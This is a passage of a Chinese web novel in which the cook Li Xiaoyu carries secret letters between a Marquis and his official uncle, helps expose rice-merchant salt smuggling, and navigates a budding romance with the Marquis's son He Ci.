高头大马之上,贺辞勒住缰绳,笑着低头,“你怎么来这儿了?”
黎小鱼仰头回他,也带着笑意,“自然是有事。”
“小侯爷方才那一件箭射的,真是叫我大开眼界。”
贺辞从不缺人夸,尤其是在箭术上。
但黎小鱼简单的一句话,还是抑制不住内心的喜悦,高兴的像只开屏的孔雀,昂着头,嘴角的笑意压不下去。
“那是自然,就连我爹,也比不过我的箭术好。”
贺辞说罢,瞥了一眼领着黎小鱼的将士。想了一下后,没有问黎小鱼来军营到底有什么事,只对他道:“你忙完就来校场,我送你回去。”
也不等黎小鱼回答,贺辞已经骑着马离开。
一旁看了全程的将士算是开了眼,这黎小郎君之前说的话,看来是不假。
不过小侯爷怎么突然一下转性了?
按理说黎家这位是从京城来的,小侯爷讨厌京城的一切人和物,对黎家小郎君如此客气,实在是不应该啊。
到了营帐,领路小将对守帐的将士说了句话,就被放进去回话。
黎小鱼在外面等了一小会,才被请进去。
此时营帐里其他的将军已经离开,如今只有定安侯一人坐在主位之上。
他正擦拭着一把刀,看到黎小鱼进来,也没抬头,而是直接叫人坐下。
黎小鱼行礼后才按着定安侯说的,坐在了下首位置。
贺淮封余光看清黎小鱼的动作,笑了一声。这些和文官有牵扯的,总是讲究些所谓礼数,整天拜来拜去的也不嫌麻烦。
他将极重的大刀放下一旁,端起桌上的大海碗,喝一大口里面的烈酒。
边喝边打量着黎小鱼,有些不太确定的问他,“听说你和我家刺刺玩的来?”
“刺刺?”黎小鱼问道。
“就是贺辞,刺刺是他的小名。从小就皮实闹腾,刺头一个,谁碰扎谁。怎么样,本侯这名子起的对味吧?”
贺淮封对黎小鱼说着贺辞小名的由来,脸上神色不难看出,他在回忆过去的日子。
黎小鱼想了一下与贺辞见面相处,这人刺不刺头没多感觉到。
但贺辞说话是真难听,脾气也不见得多好。
不过这话当爹的能说,他可不能在人家爹面前表示肯定。
黎小鱼微笑着回话,整个人看起来就像个温和的书生。
“小侯爷挺仗义的,说话也是快言快语,想什么说什么。与他相处,不怕他会背后拔刀子,是个耿直可靠的人。”
贺淮封听的拍着腿仰头大笑,像是听到了极其有趣的笑话。
他笑了好一会,终于停下,黎小鱼感觉耳膜都被震的嗡嗡嗡嗡。
“你这小子是个说话好听的,和我家刺刺不一样。同样的话从他嘴里出来,能把人气死。”
贺淮封又盯着黎小鱼仔细看了看,还是有些觉得难以置信。
“刺刺打小就喜欢跟比他厉害的人玩,你这样一拳头就能打趴下的类型,还是头一个。不过我大概也能明白为什么刺刺会与你结交,你脾气好,能忍他。”
贺淮封声音愉悦,说出的话却是带着些命令的口吻,“其实刺刺他人除了说话难听,脾气大些,其他没什么毛病。你们以后常来往,我也有事交待你二人。”
黎小鱼稍微想了一下,能猜出贺淮封要交待他和贺辞做的是什么。
“侯爷是要通过我与贺辞见面,替侯爷与我大伯父传递消息?”
贺淮封一拍桌面,砰的一声响,“嘿,你这小郎君脑瓜子聪明。不像我那傻儿子,什么也不懂。”
黎小鱼没应这话,他也是突然想起大伯父之前专门找他,只说了一句,军营可能会有人来带他去军营领赏,让他别太怕。
这话其实在席面上说也行,偏专门带他去书房说。
应该是大伯父猜到侯爷会有此举,也在给他暗示。
只是猜测终归是猜测,当不了真。
他大伯父也不好把话说的绝对,但又怕真是如此,他遇见了会害怕,故有提示举动。
黎小鱼想明白他大伯父那晚的举动后,也想了一遍大伯父在辞州的境遇。
上头有江渚松死死的压着,虽然也有一些人跟着黎九章,但那些人的权利地位实在是不大。
可以说若不是辞州有个定安侯在,怕是早被这群贪官污吏整没了。
京城的那位天子,又当真不知道江渚松之流吗?想来是知道,却放任不管,也不管百姓死活,只为了权利一门心思的要制衡。
黎小鱼没那么大的能力,妄想护着百姓。但他想护他大伯父,只要大伯父好了,那他们这些在那些官员手下讨生活的百姓,才能好。
“侯爷,你想让我给大伯父带什么话?”
贺淮封笑道:“这些话你和刺刺可不能听,只能写了密信由你们二人转递。上面内容你们要是知道了,刺刺有我在能活,你大伯父可保不了你的命。”
黎小鱼哦了一声,“那侯爷密信写好了吗?”
“好了,拿去。”
贺淮封抛出一个小竹筒,用蜜蜡封死了圆口。
“光说这些了,还没说正事,给你的赏赐我想了一下。要银子,没有。要房子,我能给你一座大院。离书院距离不远,不过荒废已久,收拾起来比较麻烦,但胜在面积大,做什么也方便。”
黎小鱼把小竹筒收好,听着贺淮封的话音,有些不对劲。
“小侯爷与侯爷说了什么吗?”
贺淮封笑道:“你小子还真是敏锐。”
他没有隐瞒,直截了当的说了。
“你放心,你的事,刺刺没和我说过。只是他从裴家回来后,问我要大院子。问他干嘛,死活不说,被老子罚跪了一宿。”
一想到贺辞那倔劲,贺淮封就脑壳疼。
“后来我觉着奇怪,找了车夫。老张以前也是神射营的,那耳朵灵得很。这事刺刺不知道,你小子别和他说,不然我还得换人。”
贺淮封顺口警告了一声黎小鱼,见黎小鱼点头答应,这才继续说下去。
“他要房子,就是想给你,搞那什么做菜书院。现在也不用他费功夫,我直接给你就行。也算是你帮着我和你大伯父递送密信的好处了。”
贺辞的性子说一不二,是学的他爹。
贺淮封更是说一不二,压根不给黎小鱼拒绝的机会。
“你和刺刺说的那些担忧,我也明白。这院子地契上的名字,到时候直接改成你的,我想抢也抢不走。就这么定了,你快走吧,别叫刺刺等久了。他会不耐烦,回头再对你撒泼。”
黎小鱼就这样得了个能开厨师职业技术学院的大院子,揣着装着密信的竹筒走了。
出去的时候,先前那位将士还在外头等着。
黎小鱼瞧了一眼,这人看着眉清目秀的,嘴巴快的很。
就进去通传的那会功夫,把他和贺辞说的什么话都传了过去。
回到校场,贺辞还在射箭。
三箭齐发,射中靶心。
黎小鱼没出声,是贺辞下意识的回头张望,看见了人,收了弓骑马过来。
“上马,我带你走。”
黎小鱼果断摇头,“我不骑马,不舒服。”
一旁的将士紧张的嘴巴一撅,生怕小侯爷骂人。
谁知道对方只是翻身下马,嘀咕了一声娇气,就叫人去套马车了。
将士趁着贺辞牵马走的空档,悄悄问黎小鱼,“小郎君,咱们小侯爷是不是有什么把柄在你手上?”
黎小鱼道:“没有。”
坐上马车,贺辞拿着布巾擦汗,“我爹是不是叫你传密信?”
“嗯,小侯爷早知道?”
“没,你进营帐之后才知道。这事危险,你以后多跟着我。”
黎小鱼笑了一声,“小侯爷整日在书院,我在小饭馆,怎么跟?”
贺辞擦汗的动作一顿,随后道:“你以后别一个人乱跑,省的叫人抓住机会,对你下手。”
“嗯,我知道。”
贺辞听着黎小鱼的应话,开始夹带私货,“私宴也别去了。”
他以为会听到黎小鱼的拒绝,没想到黎小鱼同意了。
“好,听你的。”
之前去做私宴,就是为了攒钱搞厨师职业技术学院,现在有了合适的大院子,省下许多的银子。
手头上有的这些银子,小饭馆再赚些,等开春就能弄起来。
比起他之前预想的时间,提前了大半年,自然不需要再去冒险接私宴了。
不过他此前也着实没有想到,他接个权贵的私宴还能有这么多的麻烦事。
贺辞对于黎小鱼的“言听计从”很是满意,他从暗格里抽出一把小巧的匕首。
“给你,用来防身。”
黎小鱼接过匕首,说是匕首,更像是他穿越前见过的折叠刀。
有个小巧的按钮是开关,一按锋利的刀刃就顷刻间弹了出来。
黎小鱼伸手要摸,被贺辞按住,“你虎啊,这刀锋利的很,手放上去准割破皮。疼了你这娇气鬼又要哭。”
黎小鱼收回手,小侯爷是个有本事的人,总是能把关心的话,说的让人那么不爱听。
“小侯爷好好的送我匕首做什么?”
马车一晃一晃的,贺辞看着黎小鱼手里握着弹出刀刃的匕首,直接夺了过去。把刀刃塞进去后,又重新还给黎小鱼。
“你虽然会打几下拳,可手里没个趁手的兵器,总是吃亏的。送你防身,算是弥补你防身手段的不足。”
黎小鱼收下了这份好意,实在是这种精巧的折叠刀,市面上的铁匠铺子就算能做出来,也不会做的。
是违禁物。
“多谢小侯爷了。”
黎小鱼把匕首收好,又有些不好意思的对贺辞说:“小侯爷之前说过,少出现在你面前,就是对你最好的感谢。只是现在我大概没办法做到。不过小侯爷放心,我一定会尽可能的,只有大伯父给我密信的时候,才去找小侯爷。”
贺辞本来还算好的心情,听了黎小鱼的话后全没了。
可他又不好发火,因为黎小鱼说的,是他之前亲口说的话。
他气急摸着左耳的耳饰泄愤。
黎小鱼出声道:“小侯爷,你再用力些,耳朵要流血了。”
贺辞扭头道:“你在意我做什么?”
黎小鱼哦了一声,“那我不在意了。”
贺辞松开扯着耳饰的手,红着耳朵看向黎小鱼,想大声说话,又想到黎小鱼说不喜欢人吼他。
最后只能憋屈着,不轻不重的喊了一句,“你就成心气我!”
黎小鱼微微一笑,“小侯爷哪的话啊,我不是全都按着小侯爷要求的做吗?”
贺辞盯着黎小鱼假笑的脸,伸手捏着他两边嘴角,往外轻轻一扯,“让你别这么对我笑,怎么不见你听话?”
黎小鱼觉得嘴巴有点疼,他抬手握着贺辞的手腕,要拽开。
谁知道刚碰上去,贺辞就像是被电了一样,整个弹开,神色慌乱,“你,你好好的摸我干什么?”
黎小鱼揉着嘴角两边,“我是想将小侯爷手拿开。”
贺辞转着手腕,坐直了身体,“反正你以后别动不动就碰我。”
说完贺辞有些莫名后悔,想要收回那话,但黎小鱼已经应了,“知道了。”
贺辞抬手捂黎小鱼的嘴,“你别说话了,你知道什么就说知道了?我说什么你都应?你不知道反驳我吗?”
黎小鱼往后退些,离开了贺辞的手掌。
“那小侯爷就不要再口是心非。”
贺辞一噎,他收回手,用另只手轻搓着掌心,“哦。”
黎小鱼偏头一笑,还治不了你了?
快到小饭馆的时候,马车外传来了嘈杂声。
黎小鱼掀开帘子,看到布庄的伙计背着个人急急忙忙的往外跑。
仔细一看,背上昏迷的人,正是小五。
回到小饭馆后,黎小鱼也从那些在小饭馆里吃饭的人口中,听明白了小五为何会昏迷着被背走。
说的都是周围铺子里的伙计,他们也是最近才慢慢的弄明白小五家里出了什么事。
说来也是无妄之灾。
小五有个姐姐,嫁给了一个猎户。
这猎户无父无母,被老猎户捡到收养的。
送走老猎户后,也积攒了一些家当,娶妻生子。
原本来说,这是一桩还不错的亲事,偏那猎户不知因为什么事,得罪了官差。
那些人搅和的一家子在原来的地方活不下去,小五姐姐带着一家人跑来娘家避难。
小五家也不是多富贵,平白多了四张嘴,也养不起。
猎户和二姐也找活干。
都是些苦力活,卖力气赚铜板。
不曾想,那猎户做苦力的时候,好好的突然崴脚摔倒,百来斤的货压上去,骨头砸断了。
为了保住这腿,小五一家也掏了不少钱。
小五自己也节衣缩食的,饭吃的少了,活照样干的多,人能不晕吗。
第40章 第 40 章
小五被及时送去医馆, 大夫扎了几针后醒了。
说是没什么大碍,就是劳累过度,又吃的少, 身体受不住才晕的。
多注意休息, 吃的东西跟上了就行。
大夫问要不要开药方抓药, 小五摇头拒绝了。也不在医馆里多待休息一会, 醒了就往布庄跑。
等小五回布庄后, 黎小鱼给他送了一碗稠厚的八宝粥。
有时候小五去小饭馆吃饭,见小饭馆太忙了总会帮着招呼客人。黎小鱼要给他免单, 这实心眼的死活不肯。
这次小五家里出事, 正好赶上黎小鱼常出去,后厨也忙, 没怎么注意到他, 今天才知道他家里发生了这些事。
黎小鱼别的帮不了什么, 让小五吃顿饱饭还是成的。
粥香糯又甜,吃了人才有力气。
小五闻着粥的甜香, 眼眶一红。
“黎小郎君, 多谢了。”说完又泪眼汪汪的看向掌柜和背他去医馆的伙计, “李掌柜,小山,多谢。”
今日是掌柜心善,掏了银子叫小山背他去医馆, 不然真有什么,耽误了时间也救不回来。
李掌柜叹一口气, “你快吃粥吧, 以后别省那两口吃的。真的把自己的身体搞垮了,那才是得不偿失啊。”
黎小鱼也是一个意思, 饭钱再省又能省多少?他是要干体力活的,省了那几个铜板,结果身体扛不住,去医馆花的银子不是更多?
晕了一次后,小五也知道自己是迷障了。
后面不敢再故意吃少省口粮,家里可不能再有人倒下了,尤其是有活干挣钱的。
那么香甜可口的八宝粥,小五吃的食不知味。李掌柜在一旁看着,意识到事情的严重性。
他走近了些,手上整理着布匹,“小五,你姐夫到底是怎么回事啊?”
黎小鱼也看了过去,他之前听小饭馆里的人谈起时,总觉得哪里怪怪的。
如果是干活时候受伤,治腿是要花钱不错。但小五家里虽说不富裕,可干活的人不少。
前面也没有听说他家有什么大事发生,不应该一下子就拮据成这样。
这些事情在小五心里积压许久,难受得很。
这会李掌柜问了出来,他也想找人说说,便放下勺子,一脸忧愁的说了真相。
猎户干活受伤是真,但不是因为他不小心。而是有人故意为之。
刚去干活的时候,猎户因为看不下去工头的虐待,救了个老头。从那之后,工头就一直故意刁难。
他也是借住在妻子娘家,哪能白吃白住。赚钱的活难找,好不容易找到一个,不能再丢了。就一直忍着工头。
这份忍耐,换来的是工头变本加厉的刁难。
猎户在腿伤之前,身上就有多处暗伤。那日突然崴脚,也是工头授意让人在猎户脚下放了东西,还有人伸腿绊他。
使坏的那几个人借着上去查看的动作,把百十斤的货砸在受伤的腿上。
一连砸几下,哪个能受得了?
那骨头都快刺破皮了!
不仅如此,之前那个被猎户救下的老头,非说猎户摔倒时掉下的货,砸在了他身上。
他的小儿子,带着一群地痞无赖,天天蹲在小五家门口要银子看病。
给了一次,后面次次都来。
不给就堵门不让走,还一直嚷嚷他们家人打坏了他爹,人躺床上下不了地。
小五家里人也没办法,每天都花点钱,算是破财消灾了。
再加上猎户的腿伤比较严重,两相加起来,以前积攒的那点银子,像水一样的流。
黎小鱼和李掌柜听着小五讲这些事,跟着生气。
这是逮着老实人可劲的欺负啊!
李掌柜道:“没报官吗?”
说起报官,小五更难过了。
“报了,官差说报官前要打三十板子,或者花五两银子赎板子。”
年轻力壮的小伙子被打三十大板,那都要去小半条命下去。
要是伤口没有及时得到医治,还可能会因此丧命。
而五两银子,别说放在辞州,就算是南边富庶些的地方,也够农户人家,一家十来口人花销嚼用的了。
黎小鱼也气极。
衙门这么做,不就是逼着百姓们遇事不准报官吗?没人报官,就等于辞州没有违法的事,和干坏事的人?这什么道理?
李掌柜听完不知想起了什么,叹一口气。这种事,他也爱莫能助。
离开布庄后,黎小鱼做了栗子糕装起来,招来牛车,去府衙找黎九章。
江渚松之前为排挤打压,将黎九章单独放一个破院子里。现在看来,这样倒是也不错。
清净,而且没那么多的眼线,做些事情也方便。
黎小鱼身为子侄,拎着吃的来看大伯父,是再正常不过。
对于黎小鱼的到来,黎九章也有所预料。
“怎么样,没被吓到吧?”
黎小鱼摇头,“侯爷人挺好的,给我的赏赐也极好,一座堪比书院的大院呢。虽说荒废已久,收拾起来比较麻烦,但那样的大小,怎么的也是我占了大便宜。”
黎九章笑道:“我们小鱼真厉害,一点不怯场。侯爷那样的人物,大伯父第一次见着,都有些怵。”
实在是过于壮实,往那一站,都是威势逼人。
听着大伯父哄孩子一样的语气,黎小鱼也有些不好意思。他把栗子糕放下,顺便将定安侯给的小竹筒交给了黎九章。
接过竹筒,黎九章没有立即打开,也无需黎小鱼多言,便知道了定安侯的意思。
不过黎小鱼还是大概说了一下侯爷要他做的事,讲完之后又顺口提了一句,“大伯父,家中要是有泼皮无赖堵门索要钱财,是不是报官也没用啊?”
黎九章一听就知道不是弟弟一家发生的事。
他弟和弟媳妇没什么主见,但侄子是个外表看着弱,内里刚硬的主。
真要是有地痞无赖堵他弟一家的门,小鱼能将人打的再也不敢靠近黎家,哪还挨得着报官啊。
“你认识的人家遇到这情况了?”
黎小鱼点头,“嗯,是隔壁铺子的伙计,小五一家。他和我有些交情在,之前小饭馆失火,也是他跑来家中告知。现在他家中突然有这无妄之灾,我想帮他问问。”
“你细细说来,大伯父听听。”
黎小鱼把小五一家的遭遇说了一遍,黎九章神色越来越冷。
州府辖县,卷宗记录的案件越少,对官吏的评级是有极大的好处。
黎九章知道辞州在这方面有猫腻,但他想江渚松至少在这些危及百姓的事情上,会抬手受理。
结果他是一点也不。
一个州府,案件可以少,但少的过分甚至几乎没有,这难道就不奇怪吗?
真是从上烂到下。
黎九章越清楚,心就越寒。
“小鱼,这事你不要再过问,交给大伯父就可以。”
黎小鱼也知道这种事他插手就是添乱,点头道:“知道了大伯父。”
两日后,黎九章来小饭馆,说是要买梅花脯去参加同僚宴请。
黎小鱼将黎九章悄悄塞过来的小竹筒收好,第二天中午去书院给送饭,到竹轩堂没有和以往一样,将饭盒交给提前等候的白竹就走。
而是让白竹叫一下贺辞,“我找小侯爷有事。”
白竹早就得了贺辞交代,要是黎小鱼找他,立即通传。
把食盒交给另一个小厮拎着,自己麻溜的去叫人。
没一会功夫,贺辞就出来了。
依旧是从窗户那直接跳出来。
贺辞步子迈的大,很快靠近了黎小鱼,“你找我?”
“小侯爷跟我来。”
黎小鱼拉着贺辞的手腕,一下子没拽动人,回头一看,见对方盯着手腕发愣。
“小侯爷?”
黎小鱼催促一声,贺辞抬头,目光不自然的往边上看,任由黎小鱼拉着走。
到了僻静处,黎小鱼借着贺辞宽袖遮掩,将小竹筒塞到对方手里。
贺辞握住竹筒,神情有些微妙,“你拽我,是要给我这玩意?”
黎小鱼点头,“对啊。”
贺辞欲言又止,止又欲言,盯着黎小鱼看了好一会,脸上神色变幻莫测。
“哼。”
冷哼一声后,贺辞转身就走,背影都透着“不高兴”。
黎小鱼觉得有些莫名其妙,明明刚开始还好好的,突然就不高兴起来,还真是喜怒无常。
竹筒密信送出去的第五日,小五蹦蹦跳跳的来了小饭馆。
还给小猫儿带了麦芽糖,小猫儿不敢要,见黎小鱼点头,才伸手接过,“谢谢小五哥哥。”
小五摸了一把小猫儿的脑袋,脸上的喜色挡不住,“小猫儿真乖。”
最近栗子多,漫山遍野都是。
栗子糕做着方便,黎小鱼给小饭馆加了这道时令糕点。
他从后厨拿了几块,用油纸包好,塞到小五的手里,“今日怎么这样高兴?”
小五是知道黎小鱼的性子的,他给的东西没有拿回去的道理,便收了下来。想着等发了月钱,他再给小猫儿买个拨浪鼓玩。
“这真是大喜事嘞!”
小五压着声音,把事情讲了一遍。
原来那欺压猎户的工头被抓了。
不仅是工头,就连工头所在的米行,都被军营里的将士贴上了封条,关了门。
除此之外还有堵在他家门口的那些地痞无赖,在米行遭难后,也没有再出现。
他大哥去那老头家附近打听,说是大半夜的被当兵的给抓走了,走的时候鬼哭狼嚎的,吓人的很。
黎小鱼有些惊讶,想到应该是他大伯父联合侯爷干的。
他好奇他大伯父是怎么说服侯爷,动用兵权,处理这么一件事。
虽说这话有些难听,但哪怕是要杀鸡儆猴,工头和那些地痞无赖,哪怕加上米行,都根本不够格。
黎小鱼试着问了一下小五,“你知道他们为什么被抓吗?”
小五这次声音压的更低,还真知道点东西。
“听说是军营去那米行买米,结果他们以次充好,给好多不能吃的米,米虫都快比米多。领队的将军是个急脾气,当场就把人给抓了。后来带兵去库房里,竟然发现有好多人在搬……”
小五最后的两个字,几乎是气音。
搬盐。
私盐。
这是死罪。
“你怎么知道这些?”黎小鱼有些奇怪道。
小五回他,“我爹知道那老头还有他儿子都是工头指使的,就想求工头放过我们家。银子都备好了,要送他。结果就遇到当兵的抓人,他害怕就躲在一边。”
“我爹亲眼看着工头和一群做苦力的,被从米行后面的仓库押出来。米行掌柜一直说是误会,带兵的将军直接开一袋盐,抓一把塞那掌柜嘴里,我爹才知道那一袋袋的全是盐。”
怕黎小鱼不信,小五又道:“我爹说好多人都看见了,这消息要不了多久,辞州就能传个遍。”
米行偷运私盐,应该是早就有的事。
这次也是借着由头,正好还逮了个正着。
所以地痞无赖,工头和米行不是那只被杀的鸡,私盐才是。
能如此顺利的将大量私盐运进来,背后要说没江渚松的手笔,黎小鱼不信。
看来这是他大伯父和侯爷联手后,打出的第一掌。
也不知道江渚松后面会出什么招。
黎小鱼心中有些担忧,但也相信他大伯父能应付得来。京城表面平静,但水比辞州深的多。大伯父那么多年的官,也不是白当的。
……
一旬一休沐,贺辞一大早就拿着他心爱的长弓,骑马去军营。
到了骑射营,很快就有一名小将小跑着过来,“小侯爷,卢校尉和樊校尉今日有事,不能与小侯爷一起射箭了。”
贺辞问道:“他们什么事?”
“有一批兵要走了,卢校尉和樊校尉去应法算那帮他们多要些银子。”
听是有兵要走,贺辞垂眸,随后握着长弓离开。
能从军营里走的兵,都是残疾者,或是年迈者。
而他们离开军营时,手里能拿多少银子,要看军功,还有兵种。
骑射兵能拿的最高,伙头营的最少。
大部分兵都是没有军功,到手的银子能有十两,那都是拿的多的。
要是从伙头营走,有二两银子就不错了。
贺辞不知不觉走到辎重营,法算营帐前排着长队。
一眼看去,残的残,老的老。
最年轻的卢校尉和樊校尉在营帐口与应法算打口水战,三人你来我往,全都是在说银子。
不过他们即便两张嘴,也说不过姓应的一张嘴。
应法算,本名应付。
人如其名,最能应付人。
张口没钱,闭口穷,卢校尉和樊校尉也没办法,还能去抢了辎重营不成?
贺辞握着长弓上前,应付一眼瞧见。上一秒还在与人唇枪舌剑,下一秒就对着贺辞笑脸相迎。
“小侯爷怎么来这里了?”
应付是知道卢校尉还有樊校尉,与贺辞有些交情的,他视线在三人身上快速过了一遍,“小侯爷要是为了帮着两位校尉要银子的话,那还是免开尊口。”
他指一下前面排着的人,“银子就那么多,骑射营的给多了,其他的营难道就不要给多?都是可怜人,都想要多点的银子回家过后半生。哪能厚此薄彼呢?”
贺辞自然知道这个理,皱着眉越过应付,伸手把卢、樊二人给拖走了。
应付见状拱手笑道:“多谢小侯爷体恤。”
“小侯爷你放开我,再多说两句,那姓应的搞不好就同意了。”
樊校尉一边说一边试探性的挣扎。
走一段距离后,贺辞停下,对樊校尉说:“你看看骑射营以外的那些兵。”
应付说的对,离开军营的,又有哪一个不是可怜人?谁不需要银子?
可以说他们后半生要怎么活,全靠这笔银子。
不然就他们那样,要么缺胳膊断腿的,要么是上了年纪不能再干几年力气活的,谁愿意养着他们?
就算是愿意养,村户人家,又拿什么养?
樊校尉不敢看,他低着头,声音闷闷的。
“小侯爷,我不明白,朝廷明明说了伤残离营,最少五十两。年老离营,最少二十五两。为什么现在,受伤最重,只能拿十两?手脚俱全,年纪长者,才二两银子。这够干什么的?打口好点的棺材都不够!”
卢校尉上去捂住了樊校尉的嘴,环顾四周,见没人关注这边,这才气道:“你不要命了,什么都敢说。”
“我话都说完了,你捂个啥?要闷死我啊?”
樊校尉拍掉卢校尉的手,自顾自的生闷气。
“他说的又没错。”
贺辞冷着声音来了一句,卢校尉能捂樊校尉的嘴,却捂不了贺辞的。
他也很无奈,“说了又怎样?能改变什么吗?军饷发下来,层层剥削,被那些人贪去的真金白银,谁还能叫他们吐出来不成?”
卢校尉看向不远处排着队的兵,眼中全是担忧。
“伙头营的人出去好歹能有个做饭的手艺,味道好不好的另说,但弄个小摊子,总能有口饭吃。他们自己做不了,也能拿这手艺收徒或是交给家中其他的人。”
“骑射营的虽说是会射箭骑马,但他们残了,打猎都不行。好多都没娶妻生子,我和老樊想为他们多争取点,也是无可厚非。”
贺辞听着卢校尉的话,摸着下巴,摆吃食摊子?
“小侯爷,侯爷找你。”
思绪被小将打断,贺辞只好先去他爹的营帐。
“爹你找我?”
贺长啸直接把密封好的竹筒丢给贺辞,“拿好了,快走。”
这糟心玩意,看一眼都觉得心烦。
贺辞还想着和他爹说两句话,但见他爹的态度,又什么也没说,扭头直接走了。
下午的时候,小饭馆没人来吃饭,黎小鱼带着人在后院串肉串。
今天休沐,凌少卿也带着柳玉攀来了。
许活因为珍馔楼有事要忙,没办法过来。
自从上次柳玉攀救了小猫儿,挟恩黎小鱼失败后,不得不转向小猫儿。
最近这段日子,他时不时的也会来小饭馆,什么也不做,就逗猫。
小猫儿也机灵,逗的狠了心里不高兴,要么就是去找凌少卿告状,要么就是找黎小鱼告状。
柳玉攀喊他告状精,小猫儿每次听到这个又转头就告。
只要柳玉攀在,凌少卿和黎小鱼总是要时不时的化身青天大老爷明断是非。
这次也一样,肉串串的好好的,柳玉攀非手贱,把小猫儿那边串好的全都拿走放在他自己那。
美名其曰:报恩。
小猫儿不干,这可是他辛辛苦苦串好久的。
小鱼哥哥说了,他串二十串,就可以得到一串。晚上的时候烤给他吃,也可以攒着后面想吃再吃。
他好不容易攒了一串出来,到嘴的羊肉串飞了,那能行吗?
“我这次不报恩,下次再报。”
柳玉攀不同意,“你这次要报,下次也要报。”
小猫儿撅着嘴,“我到底还要报恩多久啊?能不能一下子报完?不然就像书里说的一样,我以身相许吧。你别再抢我肉串了!”
小猫儿一句话,引的黎九州夫妻二人还有卢大海他们哈哈大笑。
凌少卿也想笑,但看柳玉攀那一脸惊骇的样子,怕他笑了,表弟会转头揍他,只能使劲的憋着。
小猫儿不知道大人们为什么要笑,但他知道柳玉攀要生气骂人了。
这种程度,凌表哥可能不管用,他直接跑到黎小鱼身后躲着。
还不忘小声的发问,“小鱼哥哥,大家为什么要笑啊?”
黎小鱼还没说话,就听一旁的黎九州笑道:“小猫儿,你以后少听那些奇奇怪怪的说书。你是男娃娃,柳郎君也是男娃娃,两个男娃娃怎么可能以身相许在一起嘛!”
小猫儿歪着头,“两个男的,不能在一起吗?”
黎九州肯定道:“当然不能啦,在一起要怎么生崽啊。”
贺辞刚要掀开前面的帘子,就听见黎九州的这句话。
他的动作凝滞片刻,又毫无异样的直接穿过布帘,来到了后院。
“小侯爷?”
黎小鱼正对着门,抬眼就能看见人。
凌少卿等人也看去,热闹的后院安静下来,好几双眼睛齐刷刷的,看的贺辞有些不自在。
“黎小鱼你出来。”
黎小鱼想着贺辞这时候来,应该是为送密信。他迅速起身,洗干净手,跟上了贺辞。
柳玉攀选择放过小猫儿一次,这小屁孩什么都不懂,童言无忌,他不计较。
倒是贺辞与黎小鱼,让他有些好奇。
他小声的问凌少卿,“小侯爷和黎小鱼什么时候这么熟了?”
凌少卿也一脸懵呢,“不知道啊。”
黎九州夫妻二人对视一眼,都在彼此眼中看出了害怕的神色。
突然出现的小侯爷,长得高大,周身的气势逼人,他们都不敢多看一眼,忍不住的打哆嗦。
“凌家郎君啊,那小侯爷瞧着忒吓人,他不会打我们家小鱼吧?”
周珍娘因为担忧,还是问了凌少卿。
这个问题凌少卿知道,他摇头,“不会的。小侯爷就是看着吓人,但只要不招惹他惹他生气,是不会动手的。”
周珍娘放心了,她家小鱼再温和不过,肯定不会惹小侯爷生气的。
小饭馆的大堂此时没人,黎小鱼小声问贺辞,“小侯爷可是替侯爷送密信?”
“恩。”
贺辞将竹筒密信递给黎小鱼,看他收下后,状似无意的开口道:“你觉得你爹说的对不对?”
黎小鱼愣了一下,“什么?”
贺辞在短暂的沉默后,还是问出了那句话,“男子不能和男子在一起。”
黎小鱼没有立即回答。
这个问题,在黎小鱼看来,分人,分时候。
在古代,身为权贵玩一玩,可以。但这不符合在一起的要求。
大俞这边没听说有契兄契弟,搭伙过日子。
真要是两个大男人在一起,世俗会不容。
在现代,法律不禁止的情况下,相爱就可以。法律禁止的情况下,其实也行,但是会有生命危险。
黎小鱼不知道怎么回答这个问题,他想了一下,“应该是对的。”
贺辞一愣,“应该?对的?”
“嗯,小侯爷好好的问这个做什么?”黎小鱼问道。
贺辞见黎小鱼不像是骗人,他就是这么想的。
对于黎小鱼出乎意料的回答,贺辞心中顿时五味杂陈。
甚至有他没有察觉到的难过,此时的他,只有被欺骗玩弄后的气愤。
黎小鱼既然认为男子与男子不能在一起,又为何那样对他!
那么在意他说的话,记得他的喜好,总在他面前哭,示弱,还动不动就拉他,拽他,使小性子踢他。
过往与黎小鱼相处的记忆,还有裴叔群的话,交叠着回荡在贺辞的脑海中。
裴叔群说的句句在理,但又与黎小鱼此时的态度,背道而驰。
贺辞想到一种可能,那就是裴叔群说错了。
意识到这个可能性,贺辞胸口大幅度的喘着气,似乎不太能接受这种结果。
但他有了怀疑之后,也做不来自欺欺人。尝试着平静后,贺辞低头问黎小鱼,声音干涩,“黎小鱼,那你喜欢男子吗?”
黎小鱼抬头看着贺辞,他发现贺辞的情绪隐藏的很好。他只能看出贺辞眼眸中裹着沉沉的情绪,却分辨不出是什么。
他说:“我不喜欢。”
他压根就没有喜欢过什么人。
贺辞盯着黎小鱼,将他的所有细微的表情都收入眼中。
片刻后,他自嘲的轻笑一声,“我知道了。”
他被裴叔群骗了,准确的说,是他相信了裴叔群的鬼话,误会了黎小鱼。
“小侯爷你怎么了?哪里不舒服?你的脸色有些难看。”
黎小鱼要拉贺辞,被贺辞快速的躲过。
因为动作幅度太大,贺辞撞上了桌子,桌腿与地面发出刺耳的摩擦声。
黎小鱼想上前查看,贺辞却大步离开,并不给他这个机会。
黎小鱼只能听见贺辞匆匆丢下的一句,“我有事先走了。”
50-60
第51章 第 51 章
贺辞直接送黎小鱼回的家。
进城之后, 隐约能听见外面行人语气惊喜的说着刚刚密集绽放的烟花。
这还是城中大部分人,第一次看到烟花是什么样子。
原来如此的绚丽夺目,漂亮的不可思议。
光是看着, 就能让人陷入视觉盛宴, 短暂的忘却烦恼忧愁, 只欣赏着烟花的美丽。
小猫儿也是头一次见烟花, 回到家后还意犹未尽, 高兴的拉着黎小鱼,“哥哥, 我今天看到了好好看的烟花, 那么大,那么响, 那么漂亮!”
小猫儿握着小拳头, 信誓旦旦的说:“我长大后, 要卖烟花!”
这话黎小鱼也就听听,这孩子长大后想做的事情, 前面已经排了许多。包括但不限于, 卖糖葫芦, 麦芽糖,风车玩具,开酒楼,开布庄, 开粮铺……
太多了,数不过来。
卖烟花这一项都不知道排多少位了。
不过黎小鱼也没扫孩子的兴, 这会正兴头上呢。
“猫儿加油!”
小猫儿得到鼓励, 认真点头,“好的哥哥!”
黎九州和周珍娘听着两个孩子的对话, 夫妻二人彼此对视一眼,满是笑意。
定安侯府,贺辞回了府中,就被他爹罚跪祠堂。
理由是私自挪用硝石制作烟花。
贺辞是祠堂的常客,早就已经习惯,反正烟花已经放了,黎小鱼也看了,他爹爱咋咋地吧。
贺淮封罚完贺辞,就去书房处理军务。
